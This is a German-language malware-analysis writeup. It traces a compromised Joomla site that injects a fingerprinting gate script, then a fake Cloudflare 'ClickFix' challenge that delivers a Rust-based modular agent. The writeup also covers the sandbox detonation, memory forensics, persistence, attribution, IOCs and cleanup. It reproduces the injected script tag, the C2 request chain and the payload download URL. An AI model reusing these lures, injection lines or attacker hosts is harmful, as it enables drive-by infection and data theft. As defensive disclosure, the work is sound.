Am 15. Juli 2026 stieß ich auf die Website eines Unternehmens aus der Region, eine völlig normale Website, seit Jahren online, die Malware an ihre eigenen Windows-Besucher verteilte, ohne dass es jemand bemerkt hätte. Keine Betrugsseite: ein echtes Geschäft, kompromittiert und ohne sein Wissen in ein Verteilungsvehikel verwandelt.
In diesem Writeup erzähle ich die gesamte Kette: wie ich sie entdeckt habe, wie sich das injizierte Skript verhielt, was passierte, als ich die Malware in einer isolierten Sandbox „detonierte", was ich aus den Memory-Dumps herausgezogen habe, und warum es viel schwieriger ist, als es scheint, zu sagen, was eine Malware wirklich tut.
Hinweis zur Responsible Disclosure. Der Name des Opferunternehmens und seine Domain sind geschwärzt: Es war ein unschuldiges Ziel, eine legitime, kompromittierte Website. Die Indikatoren der Infrastruktur des Angreifers (C2-Domains, Hashes, IPs) werden hingegen genannt, denn sie zu teilen hilft den Verteidigern, sie zu blockieren. Die Analyse wurde in einer isolierten Umgebung durchgeführt und das Unternehmen wurde benachrichtigt.
1. Die Entdeckung: ein Skript, das nicht da sein durfte
Alles begann mit einem Detail im HTML-Quelltext. Auf allen Seiten, innerhalb des Markups des Navigationsmenüs, erschien ein fremdes Skript:
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
Dieses verwaiste " vor <a> ist die Signatur einer automatischen Ersetzung per PHP serverseitig, nicht einer manuellen Änderung am Template. Das Skript wurde einmal für jedes gerenderte Menü-Modul injiziert: Seiten mit Desktop-Megamenü und Mobile-Menü zeigten zwei Kopien davon, jene mit einem einzigen Menü nur eine.
Die Domain js.aacaw.com hatte mit der Website nichts zu tun. Erste Alarmglocke.
2. Es ist nicht die Malware: es ist ein Tor
Ich habe fp/v1.min.js heruntergeladen und deobfuskiert (genau 97.920 Byte, obfuskiert mit obfuscator.io). Die Überraschung: es enthält kein Payload. Null Vorkommen von captcha, download, .exe, blob, clipboard. Es ist ein Fingerprint-Gate, ein Tor, das den Besucher profiliert und entscheidet, ob es sich lohnt, ihn anzugreifen.
Das Skript sammelt clientseitig einen erweiterten Fingerprint:
- Canvas und WebGL (Vendor und Renderer via
WEBGL_debug_renderer_info) - Enumeration der installierten Schriften
- vollständiges
navigator(userAgent, platform, plugins, hardwareConcurrency, Sprache) - Bildschirmauflösung, Timezone
Dann sendet es alles an ein C2 und wartet auf grünes Licht. Durch Deobfuskieren und erneutes Ausführen des Skripts in einer Node-Sandbox mit gemocktem Browser und abgefangenem Netzwerk habe ich die Kette Schritt für Schritt rekonstruiert:
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
Die erste Anfrage ist ein Domain-Agility-Mechanismus: Das Skript fragt das C2, welche Domain aktiv ist, bevor es fortfährt, so kann der Angreifer die Infrastruktur rotieren lassen, ohne die infizierte Website anzufassen. Der Fingerprint reist ohne jede HMAC-Signatur, das Schema ist also trivial fälschbar, ein Detail, das später nützlich wird.
Auf Mac, Linux oder Mobile erhält das Tor nie grünes Licht und zeigt nichts. Deshalb kann eine solche Kompromittierung monatelang unbemerkt bleiben: Sie aktiviert sich nur für das richtige Ziel.
3. Das gefälschte Cloudflare und die ClickFix-Technik
Wenn das Profil ein Windows-Desktop ist, injiziert das Gate eine zweite Stufe (static.aacak.com/fp/check.v1.min.js, 992.491 Byte), die eine pixelgenaue Imitation der Cloudflare-Challenge aufbaut. Wortwörtliche Texte wie "Performing security verification", "This website uses a security service to protect against malicious bots", Cloudflare-Branding und sogar die echten Links zu cloudflare.com/turnstile und cdn-cgi/challenge-platform für Authentizität.
Die Inszenierung ist in drei Akten aufgebaut, hier unten aus den echten Samples rekonstruiert (Domain des Opfers geschwärzt: es ist ein unschuldiges Ziel).
Akt 1: die gefälschte Challenge. Dem Opfer erscheint das klassische Cloudflare-Interstitial, mit dem Namen der Website in Groß, der Checkbox "Verify you are human" und dem korrekten Branding. Nicht von der echten zu unterscheiden.

Und genau hier wird dieser Betrug wirklich gefährlich. Sieh dir die Adressleiste und den Titel an: Die Domain ist die legitime der kompromittierten Website. Es ist kein Typosquat, keine ähnliche Domain, keine Klon-Website: Es ist genau diese Website, mit ihrem gültigen HTTPS-Zertifikat und der über Jahre aufgebauten Reputation. Die einzige Verteidigung, die wir Nutzern immer beibringen, "prüfe, ob die URL die richtige ist", versagt hier, denn die URL ist die richtige. Keine Alarmglocke schlägt an.
Akt 2: das gefälschte Scheitern. Du klickst die Checkbox und die Challenge tut so, als würde sie nicht gelingen: "Verification failed, switching to another verification method". Das ist der psychologische Angelpunkt des Betrugs: Die „echte" Challenge scheitert, so akzeptiert der Nutzer bereitwillig eine „alternative" Methode und senkt die Deckung genau in dem Moment, in dem er hereingelegt werden soll.

Akt 3: das ClickFix. Die „alternative Methode" ist eine Seite mit sechs Feldern für einen „Verifizierungscode" und einem Button "Verify now".

Doch die Felder und der Button sind ein Köder: Sie tun nichts. Das ist der Kern der ClickFix-Technik. Der echte Download startet von einem sekundären, abseitigen Link, "Not enabled yet? Get it now". Beim Klick darauf:
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
Die Malware wird als application/octet-stream-Blob aus einem AWS-S3-Bucket in Hongkong ausgeliefert (fp-hk, also fingerprint-HK), ausgegeben als „Validator", der zum Abschluss des CAPTCHA nötig sei. Nach dem Klick wird der Link zu "Validator downloaded". Der Nutzer führt die Malware aus im Glauben, ein CAPTCHA zu entsperren, ohne jede Browser-Schwachstelle, nur gut verpacktes Social Engineering.
Und hier schnappt die Falle auf teuflische Weise zu. Der gerade heruntergeladene und ausgeführte „Validator" ist die Malware selbst, die ein kleines Fenster mit einem sechsstelligen Code öffnet, präsentiert als der auf der Seite einzugebende Verifizierungscode.

Das Opfer kopiert diesen Code in die sechs Felder der gefälschten Challenge auf der Website und klickt „Verify now". In diesem Moment verschwindet das gefälschte CAPTCHA und die Website, die echte, lädt normal: Der Nutzer surft weiter ungestört und überzeugt, eine normale Sicherheitsprüfung bestanden zu haben. Kein Fehler, keine Warnung, kein Zeichen, dass etwas schiefgegangen ist. Der Code diente aus Sicherheitssicht zu nichts: Er war nur das letzte Stück der Inszenierung, die Geste, die den Nutzer überzeugt, die „Verifizierung abgeschlossen" zu haben. Inzwischen ist die Malware bereits auf seinem PC, und sie bleibt dort, still, während er zurückkehrt, um das zu tun, wofür er auf die Website gekommen war, ohne etwas zu ahnen.
4. Die Ursache stromaufwärts: ein nicht aktualisiertes Joomla-Plugin
Wie ist dieses Skript auf den Server gelangt? Die Website lief auf Joomla 4.4.14 (End-of-Life-Branch) mit SP Page Builder 4.0.7, betroffen von:
| Feld | Wert |
|---|---|
| CVE | CVE-2026-48908, nicht authentifizierter File-Upload, der zu RCE führt |
| Funktion | asset.uploadCustomIcon (die Zugriffsprüfung fehlt) |
| Fix | v6.6.2, veröffentlicht am 14.06.2026 |
| Status | in CISA KEV (aktive Ausnutzung bestätigt) seit 07.07.2026 |
Beim Abgleich mit der Wayback Machine war die Homepage am 12. Mai 2026 sauber: Das Kompromittierungsfenster verengt sich auf den Zeitraum zwischen Mai und Juli, konsistent mit dem Auftauchen der CVE in der Liste der aktiv ausgenutzten Schwachstellen. Lektion Nummer eins, die langweiligste und die wichtigste: ein veraltetes Plugin ist die Eingangstür.
5. Detonation in isolierter Sandbox
Kommen wir zur Binärdatei. checkbot-win-*.exe, etwa 2,76 MB, unsigniert. Bei der Ausführung droppt sie ein klassisches Paar DLL-Sideloading: dumpchk.exe (legitime und signierte Microsoft-Binärdatei), die eine bösartige dbgeng.dll anstelle der gleichnamigen System-DLL lädt.
Ich habe sie in einer vollständig isolierten Windows-VM ausgeführt, ohne Zugang zum echten Internet, mit einem Fake-Netzwerk, das jeden Verbindungsversuch loggt. Beim Rekonstruieren der Timeline aus dem .pcap fragte die Malware nacheinander drei C2-Domains ab:
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
Die zweite Domain ist der direkte Beweis, dass die verteilte Malware und das Skript auf der Website zur selben Infrastruktur gehören. Alle DNS-Auflösungen scheiterten absichtlich, die Malware konnte also nichts exfiltrieren, aber die Domain-Sequenz ist genau das, was sie auf einem echten PC versucht hätte.
6. Memory-Dumping: lesen, was die Festplatte verbirgt
Die Datei dbgeng.dll auf der Festplatte enthält keine bösartigen Strings im Klartext: Sie bettet zwei verschlüsselte Blobs ein, die sie in RWX-Speicher kopiert und ausführt. Das Payload muss im RAM gelesen werden, nicht auf der Festplatte.
Durch das Erfassen eines vollständigen Dumps des VM-Speichers während der Ausführung traten im Klartext Informationen zutage, die die verschlüsselte Datei nicht preisgab:
- C2-Endpoint der ausführbaren Datei:
/fingerprint/create(verschieden von den Endpoints des Web-Gates) - HTTP-Bibliothek:
ureq/3.3.0mitrustls 0.23.41, das Payload ist also in Rust geschrieben (der initiale Loader ist hingegen C/C++ MSVC: C-Loader, Rust-Payload, ein häufiges Muster in moderner Malware) - Eindeutige Opfer-GUID:
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-Sandbox: die Strings
bochsundBOCHS, das heißt, sie prüft das Vorhandensein des Bochs-Emulators (sie hat unser QEMU/WHPX nicht erkannt, deshalb verhielt sie sich normal) - Branding:
CheckBot Error
Mit Volatility3 habe ich dann die Sache über zwei unabhängige Ausführungen ordentlich gemacht (pslist, malfind, memmap, vadinfo):
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Hier eine methodische Falle, in die man extrem leicht tappt: malfind meldet RWX-Regionen in Windows Defender und in .NET-Prozessen. Sie sehen aus wie „Injektion in Defender", aber es sind die bekannten False Positives, denn jene Prozesse nutzen legitim RWX-Speicher für die Scan-Engine und den JIT. Keiner dieser Hits war in der Malware. Wer das nicht weiß, schreibt mit großer Selbstsicherheit einen falschen Bericht.
Das wichtige Datum ist ein anderes: In unserer Umgebung bereitete die Malware die Konfiguration vor und hielt dort an, weil das C2 nie antwortete. Die Code-Injektion ist an eine positive C2-Antwort gebunden, das gefährliche Verhalten schaltet sich also nur für echte Opfer mit funktionierendem Internet frei.
7. Was sie WIRKLICH tut: das Differential gegen einen sauberen Build
Aus dem Dump habe ich das entschlüsselte Rust-Payload gecarvt (etwa 780 KB). Und hier kommt der methodisch heikelste Teil der ganzen Analyse.
Die Versuchung ist: Ich suche Strings im Dump, finde wallet, MetaMask, Login Data, Active Directory, und schließe „es ist ein Wallet- und Credential-Stealer!". Falsch. rustls und die Standard Library sind statisch gelinkt: Ihre Konstanten (OID-Tabellen, HTTP-Header) landen im .rdata des Blobs, kolokalisiert mit den Markern der Malware. Ein roher Scan eines 8,6-GB-Dumps fischt Strings aus anderen Prozessen und DLLs im RAM, nicht aus der Malware.
Um nicht Leuchtkäfer für Laternen zu halten, habe ich einen sauberen Referenz-Build mit den exakten Versionen der Crates kompiliert (ureq 3.3.0, rustls 0.23.41, http 1.4.2) und seine Strings von denen des Payloads subtrahiert. Ergebnis:
id-smime-cd-ldap,Exchange,LDAP,Cookieserscheinen auch im sauberen Build: Bibliotheksrauschen, bewiesenActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVsind sogar im Payload abwesend: Sie kamen aus anderen Prozessen im RAM- was nach der Subtraktion bleibt, sind die Rust-Module des Autors:
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, dazu Anti-Debug und ein Telemetrie-Schema
Urteil über die initiale ausführbare Datei: CheckBot ist ein Fingerprinting-Probe/Loader, KEIN Stealer, eine Schlussfolgerung, die per Differenz gegen einen sauberen Build verteidigbar ist, nicht per String-Nähe. Der Datendiebstahl, falls es ihn gibt, ist eine spätere Stufe.
8. Live-Detonation: die Anti-Analyse zu Fall bringen
Solange das C2 nicht antwortete, aktivierte sich die bösartige Stufe nicht. Um sie zu beobachten, habe ich eine Detonation mit echtem Egress zum lebenden C2 durchgeführt, in einer auf Netzwerkebene isolierten VM (der Guest erreicht das Internet, aber nicht das LAN oder den Host).
Erster Live-Run: verweigert. Meine VM „schrie Sandbox": Hostname SANDBOX-PC, Nutzer Administrator, CPU qemu64, 1 Kern, QEMU-SMBIOS, MAC 52:54:00. Das C2 antwortete mit ein paar KB und keinem Modul.
Zweiter Run: gehärtete Sandbox. Ich habe alles in den QEMU-Parametern getarnt:
-cpu Skylake-Client-v1,-smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell00:14:22, HostnameWKS-MARCO- ein glaubwürdiges Nutzerprofil mit Köder-Credentials als Canarytoken:
Desktop\Password.txtmit einem AWS-Schlüssel, Bank und E-Mail, dazu.aws\credentialsund Office-Dokumente, alle gefälscht, aber scharfgestellt, denn sie lösen aus, wenn der Angreifer sie benutzt
Mit getarnter Umgebung habe ich die Binärdatei gestartet und sie unter Beobachtung arbeiten lassen. Hier die Malware in Aktion in der gehärteten Sandbox:

Man sieht alles: den getarnten Hostname WKS-MARCO, die DNS-Auflösung des C2 api.aacaw.com, die diesmal antwortet (die Cloudflare-Adressen vor dem Server des Angreifers), den Start von checkbot-win.exe von F:\ und, ein fast höhnisches Detail, das Fenster der Malware selbst, betitelt "CheckBot 0.4.32", das ein gefälschtes Cloudflare-Widget "Verifying…" mit denselben sechsstelligen Codes wie die Webseite wiederholt. Dieselbe Inszenierung wie die Challenge im Browser, jetzt in die ausführbare Datei eingelassen: Branding-Konsistenz bis in die Binärdatei hinein.
Diesmal ist der Fingerprint durchgekommen und die finale Stufe kam an. Direkt beobachtet:
- Verbindung zu
103.1.225.34:8001und:8002, TLS auf Nicht-Standard-Ports, ohne SNI, direkte IP, mit Download von etwa 4 MB Modulen und Upload von etwa 21 KB (Exfiltration) - Diebstahl der Köder versucht: im privaten Speicher des injizierten Prozesses
dllhost.exe(PID 4688) lag der vollständige Inhalt vonPassword.txt, Canary-AWS-SchlüsselAKIATU7L4S6WXXD53K7Yinklusive. Eine gesundedllhost.exeliest keine Dateien vom Desktop des Nutzers - Injektion bestätigt mit direktem Nachweis von
VirtualAllocEx,WriteProcessMemoryundCreateRemoteThread, isoliert im Modul (erneut mit der Differential-Methode verifiziert, um sie nicht mit Bibliotheks-Strings zu verwechseln) - DNS-over-HTTPS, um das C2 zu verbergen:
cloudflare-dns.com/dns-queryunddns.quad9.net/dns-querylösten eine neue Domains4.cache-task.comauf und umgingen so die DNS-Logs des Netzwerks
9. Attribution: warum wir denken, dass sie chinesisch sind
Ein Stück, das in Writeups oft als selbstverständlich hingenommen wird, das hier aber auf konkreten und unabhängigen Belegen ruht. Die Attribution zu sinophonen Operatoren entsteht nicht aus einem einzigen Indiz, sondern aus Strings in vereinfachtem Chinesisch, gefunden an verschiedenen und unverbundenen Punkten der Kette: Web-Skript, C2-Backend, Köderseite, Binärdatei. Wäre es ein einziger Punkt, würde ich Zufall sagen; vier unabhängige Punkte nicht.
Die konkreten Beispiele, mit der Übersetzung:
- C2-Fehler, beim Senden eines fehlerhaften Fingerprints an das Rust-Backend:
fp_data 缺少必要字段, das heißt „erforderliche Felder fehlen". Die Fehlermeldung ist direkt im Server auf Chinesisch geschrieben. - Strings des gefälschten CAPTCHA:
看 6 位验证码, das heißt „schau auf den 6-stelligen Code", die Kommentare für den Operator hinter der gefälschten Cloudflare-Challenge. - Fragment im Gate:
网络, das heißt „Netzwerk", mitten im Fingerprint-Code hinterlassen. - Kommentar im CSS der Köderseite:
BOSS 约束, das heißt „Vorgabe des Chefs". Ein fast menschliches Detail, die Art von Kommentar, die ein Entwickler für sich selbst schreibt, ohne zu denken, dass er unter der Lupe eines Analysten landen wird.
Es gibt mehr, und es verschiebt die Attribution von der Sprache zur Infrastruktur. Die Auflösung der Domains erfolgte über Multi-Provider-DNS-over-HTTPS, und unter den gewählten Resolvern befand sich dns.alidns.com, also das öffentliche DNS von Alibaba (China), neben cloudflare-dns.com, quad9.net und dns.google. Eine Wahl mit doppeltem Zweck: den lokalen DNS-Resolver zu umgehen (keine Spur im DNS des Unternehmens oder des ISP) und sich auf Infrastruktur zu stützen, die für jemanden bequem ist, der aus diesem Raum operiert.
Und dann ist da die Geschichte der Domain, vielleicht das aussagekräftigste Stück. Die Abfrage des Passiv-DNS von aacak.com, einer der C2-Domains, brachte ihre historischen Subdomains zutage: keine zufälligen Namen, sondern liuhecai, yulecheng, zuqiubocai. Es sind allesamt chinesische Glücksspielbegriffe: die Hongkonger Mark-Six-Lotterie, die „Entertainment Cities", also Online-Casinos, und Fußballwetten. Mit anderen Worten: Bevor diese Domain das CheckBot-Gate hostete, diente sie chinesischen Online-Wettbetrieben. Sie ist kein Opfer und kein Rauschen: Sie ist ein Stück der Biografie des Angreifers. Sie sagt, dass hinter dieser Kampagne kein Neuling steht, sondern ein Akteur, der bereits im sinophonen Untergrund-Glücksspiel-Ökosystem verwurzelt ist und seine Infrastruktur dann auf die Verteilung von Malware umgestellt hat.
Schließlich ein Detail aus den Panic-Pfaden der Rust-Binärdatei: Der Stealer wurde auf macOS cross-kompiliert (Toolchain stable-aarch64-apple-darwin). Es ist kein Nationalitätsbeweis, aber es zeichnet das Profil: Operatoren, die auf Apple-Silicon-Macs entwickeln, mit interner Kommunikation auf Chinesisch, und Infrastruktur, die chinesische Provider berührt.
Es bleibt eine starke, aber nicht schlüssige Attribution: Strings in einer Sprache können absichtlich platziert werden, um in die Irre zu führen. Doch die Kohärenz zwischen Sprache, DNS-Providern, der Geschichte der Domain und Kommentarstil macht die False Flag unwahrscheinlicher, als es ein einzelnes isoliertes Indiz machen würde.
10. Kein Stealer mit festen Zielen, sondern ein modularer Agent
Durch das Zurückgewinnen des dekomprimierten Moduls aus dem RAM (Volatility3 vadinfo --dump) und das Disassemblieren trat der gesamte Baum der Rust-Quellen des Autors zutage (aus den Panic-Pfaden app/r/...):
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
Das erklärt die Abwesenheit von Browser- und Wallet-Strings: Es ist kein Stealer mit fest verdrahteten Zielen, es ist ein modularer Agent, gesteuert durch Tasks des C2. Der Operator schiebt die Befehle (inject_host, restart, update, sleep, stop, god, fmt und andere); der Dateidiebstahl geschah, weil er den richtigen Task sendete, und tatsächlich nahm er meinen Köder. Fähigkeiten wie Browser- oder Wallet-Diebstahl wären zusätzliche, on-demand heruntergeladene Module. Die Risikofläche ist offen; was auf diesem Opfer bewiesen ist, ist: Injektion, Recon, Persistenz, Dateidiebstahl auf Befehl und Exfiltration.
11. Persistenz und Neutralisierung
Die Persistenz ist redundant, darauf ausgelegt, der Bereinigung zu widerstehen. Der wörtliche String ist in die CheckBot-Binärdatei fest verdrahtet:
- Primärer Anker: getarnter Scheduled Task
\Microsoft\Windows\Device Information\DeviceCensusHelper(imitiert den legitimenDeviceCensus, gefälschter Autor Microsoft Corporation), erstellt über die Task Scheduler COM API, der bei jedem Boot den Sideload-Loader ausführt - Fallback-Anker: HKLM-Registry-Schlüssel (
immortal.rs), verwendet, wenn der Task scheitert - Self-Heal:
immortal.rsundsupervisor.rsstarten die Threads neu, und Task und Körper erschaffen sich gegenseitig neu
Deshalb reicht es zum Bereinigen nicht, eine Datei zu löschen. Man braucht alle Anker zusammen:
- Website offline und Ursache patchen: SP Page Builder auf eine Version gleich oder höher als 6.6.2 aktualisieren, alles Übrige aktualisieren, die Migration von Joomla 4.4 EOL bewerten
- Jagd auf die Persistenz auf dem infizierten Endpoint: den Scheduled Task
DeviceCensusHelper, den HKLM-Schlüssel, den gedroppten Loader (dumpchk.exeunddbgeng.dll) und die injiziertedllhost.exeentfernen; fehlt einer, regeneriert es sich - Totale Rotation der Credentials (Joomla-Admin,
configuration.php-Secret, DB, Hosting, FTP/SSH, API-Keys) - Auf dem Server: nach versteckten Admins und Webshells suchen, ohne beim Plugin stehenzubleiben
- DSGVO: Die Website sammelte Kontakte über ein Formular, mit Zugang zur DB könnte der Angreifer also Daten Dritter gesehen haben; daher die Bewertung der Breach-Meldepflicht (72 Stunden, Art. 33)
Als letzte Note sind die exfiltrierten Canary-Köder scharfgestellt: Der AWS-Schlüssel AKIATU7L4S6WXXD53K7Y und die Office-Dokumente mit Callback zu canarytokens.com lösen aus, wenn der Operator die Beute benutzt, und verraten die echte IP und den echten User-Agent des Angreifers.
Indikatoren einer Kompromittierung (IOC)
| Typ | Wert |
|---|---|
| Gate-Domain (injiziert) | js.aacaw.com |
| C2-Domains | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Zweite Stufe JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/Exfil (S3 Hongkong) | fp-hk.s3.ap-east-1.amazonaws.com, mit super4/checkbot/checkbot-*-0.0.32.exe und super4/zip/<token>.zip |
| Finaler Exfiltrationsserver | 103.1.225.34:8001 und :8002 (TLS ohne SNI, direkte IP) |
| C2-Domain via DoH | s4.cache-task.com |
| Persistenz | Scheduled Task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Zielprozess der Injektion | dllhost.exe |
Hash dbgeng.dll (bösartiges Payload) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| Ausgenutzte CVE | CVE-2026-48908 (SP Page Builder bis 6.6.1, Joomla) |
| Attribution | chinesische Strings in Gate, C2 und Köder, DoH zu Alibaba, Build auf macOS, also sinophone Operatoren |
12. Kein Einzelfall: die Jagd auf die anderen Opfer
Nachdem ich die erste Website gemeldet hatte, stellte sich die naheliegende Frage: ein isoliertes Ziel oder die Spitze von etwas Größerem? Die Injektionssignatur, die ich während der Analyse isoliert hatte (das Gate-Skript js.aacaw.com und die C2-Domain-Familie *.aacaw.com / *.aacak.com / *.aabaw.com), war ein perfekter Fingerabdruck, um weitere Opfer aufzuspüren: Wenn eine Website irgendwo auf der Welt dieses Skript lud, gehörte sie zur selben Kampagne.
Ich habe das getan, ohne eine einzige Opfer-Website anzufassen, allein mit passiven Quellen:
- urlscan.io, das die Netzwerkanfragen archiviert, die jede gescannte Seite tatsächlich abgesetzt hat: Fragt man den Index nach den Domains der Kampagne ab, tauchen die Seiten auf, von denen dieses Gate „gefeuert" hat.
- PublicWWW, das den HTML-Quelltext von Hunderten Millionen Websites indexiert: Die Suche nach der Zeichenkette
js.aacaw.comliefert direkt die Seiten, auf denen die Injektion noch vorhanden ist. - Certificate Transparency (crt.sh), um die Familien der vom Angreifer erzeugten Geschwister-Domains zu kartieren.
Das Ergebnis verschob die ganze Perspektive: nicht eine Website, sondern Dutzende. In der Größenordnung von 60 bis 90 beobachtbaren Opfern zu jenem Zeitpunkt, verteilt auf etwa fünfzehn Länder, mit einem gemeinsamen Nenner, der keinen Zweifel lässt: allesamt Joomla mit SP Page Builder, exakt dieselbe Kombination und dieselbe CVE-2026-48908 wie die erste Website. Kein ausgewähltes Ziel, sondern eine automatische Ernte jeder verwundbaren Installation, die der Angreifer finden konnte.
Und was für Opfer. Ohne Namen zu nennen (es sind unschuldige Ziele, wie das erste): Kanzleien, die Finanzdaten Dritter verarbeiten, akademische und öffentliche Einrichtungen, ein Theater, Kultur- und Sportvereine, kleine Dienstleistungsbetriebe und, am oberen Ende der Risikoskala, eine Bank und Regierungsportale. Jede dieser Websites servierte ihren Windows-Besuchern ahnungslos dieselbe gefälschte Cloudflare-Challenge.
Das heimtückischste Detail ist, warum es niemand bemerkt hatte. Das Gate feuert nicht jedes Mal: Es ist cloaked, wird intermittierend ausgeliefert: einmal pro IP, abhängig von User-Agent, Geolokalisierung, Referrer. Der Betreiber, der seine eigene Website öffnet, sieht sie sauber, denn beim zweiten Laden bleibt das Gate geschlossen; urlscan erwischt es nur in genau dem Moment, in dem es sich zum „Feuern" entscheidet. Das erklärt, wie eine derart breite Kampagne den unmittelbar Betroffenen monatelang unsichtbar bleiben kann.
Eine Klarstellung, denn dieselbe Disziplin, die für die Memory-Dumps galt, gilt auch hier: Eine erste, aus dem Bauch heraus getroffene Schätzung ließ an Tausende oder Zehntausende Websites denken. Die Daten stützen das nicht. Der reale Fußabdruck der Web-Injektion liegt in der Größenordnung von Dutzenden, nicht Tausenden: das Gate ist bewusst verdeckt, und Raffinesse impliziert keine hohe Zahl an Websites (das „Volumen" der Kampagne liegt, wenn überhaupt, auf der Seite des Botnetzes infizierter Geräte, das aus passiven Quellen nicht messbar ist). Auch beim Dimensionieren einer Kampagne gilt die Regel des Writeups: zählen, was man beweist, nicht, was Eindruck macht.
Es gibt eine Linie, die ich nicht überschritten habe: kein Hack-back. Sich mit dem Server des Angreifers zu verbinden, um daraus die „vollständige Liste" der Opfer zu extrahieren, wäre unbefugter Zugriff, illegal selbst gegen einen Kriminellen und oft der beste Weg, in einem Honeypot zu landen. Die Aufklärung feindlicher Infrastruktur erfolgt ausschließlich über passive Indizes; die wirklich erschöpfende Liste erhält man auf legitimem Weg, indem man die IOCs an das CSIRT/CERT übergibt, das über die Befugnisse und Kanäle für Takedown und koordinierte Opferbenachrichtigung verfügt, der zwingende Weg gerade für die getroffenen öffentlichen Einrichtungen.
Ich habe die Opfer kontaktiert, die ich erreichen konnte, beginnend mit den italienischen, und die Indikatoren an institutionelle Kanäle weitergegeben. Doch der Punkt für den Leser ist ein anderer, und er schließt den Kreis mit der ersten Lektion: Diese erste Website hatte nichts Besonderes an sich. Sie war nicht ausgewählt worden. Sie war nur eine von vielen, die ein nicht aktualisiertes Plugin betrieben, zur falschen Zeit.
Was ich mitnehme
Drei Lektionen, in der Reihenfolge ihrer Wichtigkeit.
Ein nicht aktualisiertes Plugin genügt. Kein ausgeklügelter Browser-Exploit, kein Zero-Day: eine bekannte CVE in einem End-of-Life-Plugin, und eine legitime Website wird monatelang zum Malware-Verteiler, ohne dass es jemand bemerkt, weil sich das Tor nur für das richtige Ziel aktiviert.
Statische Analyse genügt nicht gegen modernes Packing. Rust-Downloader, dann Zip verschlüsselt mit einem Passwort vom C2, dann C-Loader mit XOR-Rolling-Blob, dann Shellcode, dann zur Laufzeit komprimiertes Payload. Jede Schicht ist darauf ausgelegt, den zu stoppen, der nur die Datei auf der Festplatte betrachtet. Die Wahrheit liegt im RAM, und sie muss mit kontrollierter Detonation und Memory Forensics herausgezogen werden.
Achte auf das, was du glaubst gefunden zu haben. Die malfind-False-Positives auf Defender, die Bibliotheks-Strings, die für Malware-Fähigkeiten gehalten werden, die erste Liste „Wallet, Browser, Telegram", die das Differential zertrümmert hat. Der Unterschied zwischen einem richtigen Bericht und einem falschen, aber überzeugenden liegt ganz hier: per Differenz verifizieren, nicht per Nähe.
Wenn du eine Website auf einem CMS mit Drittanbieter-Plugins betreibst, ob Joomla, WordPress oder Drupal, ist die Frage nicht, ob es ausstehende Updates gibt, sondern seit wann.
